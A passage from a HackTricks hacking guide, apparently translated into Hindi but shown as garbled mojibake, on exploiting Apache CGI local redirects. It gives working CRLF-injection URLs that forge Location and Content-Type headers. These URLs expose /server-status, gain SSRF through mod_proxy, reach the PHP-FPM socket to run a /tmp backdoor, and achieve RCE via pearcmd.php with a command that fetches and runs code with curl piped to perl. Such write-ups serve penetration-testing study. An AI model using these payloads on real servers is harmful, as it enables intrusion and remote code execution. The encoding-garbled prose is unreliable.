рд╣реЗрдбрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрд░реЛрдз рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рдП рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ r рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ Status
200 рд╣реИ рдФрд░ Location
рд╣реЗрдбрд░ /
рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
RFC 3875 (CGI рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рдирд┐рд░реНрджреЗрд╢) рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдзрд╛рд░рд╛ 6.2.2 рдПрдХ рд╕реНрдерд╛рдиреАрдп рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ:
CGI рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдПрдХ рд╕реНрдерд╛рди рд╣реЗрдбрд░ рдлрд╝реАрд▓реНрдб рдореЗрдВ рдПрдХ URI рдкрде рдФрд░ рдХреНрд╡реЗрд░реА-рд╕реНрдЯреНрд░реАрдВрдЧ (тАШlocal-pathqueryтАЩ) рд▓реМрдЯрд╛ рд╕рдХрддреА рд╣реИред рдпрд╣ рд╕рд░реНрд╡рд░ рдХреЛ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкрде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдореЗрдВ рд╕реЗ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
- CGI рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ CRLF рдЗрдВрдЬреЗрдХреНрд╢рди
- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреЗ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд╕рд╛рде SSRF
рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЦреБрд▓рд╛рд╕реЗ рдХреЗ рд▓рд┐рдП рдордирдорд╛рдирд╛ рд╣реИрдВрдбрд▓рд░
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП /server-status
рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╕реБрд▓рдн рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:
<Location /server-status>
SetHandler server-status
Require local
</Location>
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ Content-Type
рдХреЛ server-status
рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ Location рд╣реЗрдбрд░ рдХреЛ /
рд╕реЗ рд╢реБрд░реВ рдХрд░рдХреЗ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
рдордирдорд╛рдиреЗ рд╣реИрдВрдбрд▓рд░ рд╕реЗ рдкреВрд░реНрдг SSRF
рдХрд┐рд╕реА рднреА URL рдкрд░ рдХрд┐рд╕реА рднреА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП mod_proxy
рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдирд╛:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
рд╣рд╛рд▓рд╛рдВрдХрд┐, X-Forwarded-For
рд╣реЗрдбрд░ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдХреНрд▓рд╛рдЙрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред
рд╕реНрдерд╛рдиреАрдп рдпреВрдирд┐рдХреНрд╕ рдбреЛрдореЗрди рд╕реЙрдХреЗрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдХреЗ рд▓рд┐рдП рдордирдорд╛рдирд╛ рд╣реИрдВрдбрд▓рд░
PHP-FPM рдХреЗ рд╕реНрдерд╛рдиреАрдп рдпреВрдирд┐рдХреНрд╕ рдбреЛрдореЗрди рд╕реЙрдХреЗрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рддрд╛рдХрд┐ /tmp/
рдореЗрдВ рд╕реНрдерд┐рдд PHP рдмреИрдХрдбреЛрд░ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
рдордирдорд╛рдиреЗ рд╣реИрдВрдбрд▓рд░ рд╕реЗ RCE
рдЖрдзрд┐рдХрд╛рд░рд┐рдХ PHP Docker рдЗрдореЗрдЬ рдореЗрдВ PEAR (Pearcmd.php
) рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдПрдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди PHP рдкреИрдХреЗрдЬ рдкреНрд░рдмрдВрдзрди рдЙрдкрдХрд░рдг рд╣реИ, рдЬрд┐рд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.
References
{% hint style="success" %}
рд╕реАрдЦреЗрдВ рдФрд░ AWS рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
рд╕реАрдЦреЗрдВ рдФрд░ GCP рд╣реИрдХрд┐рдВрдЧ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ telegram рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ Twitter ЁЯРж рдкрд░ рд╣рдореЗрдВ рдлреЙрд▓реЛ рдХрд░реЗрдВ @hacktricks_live.
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud github repos рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред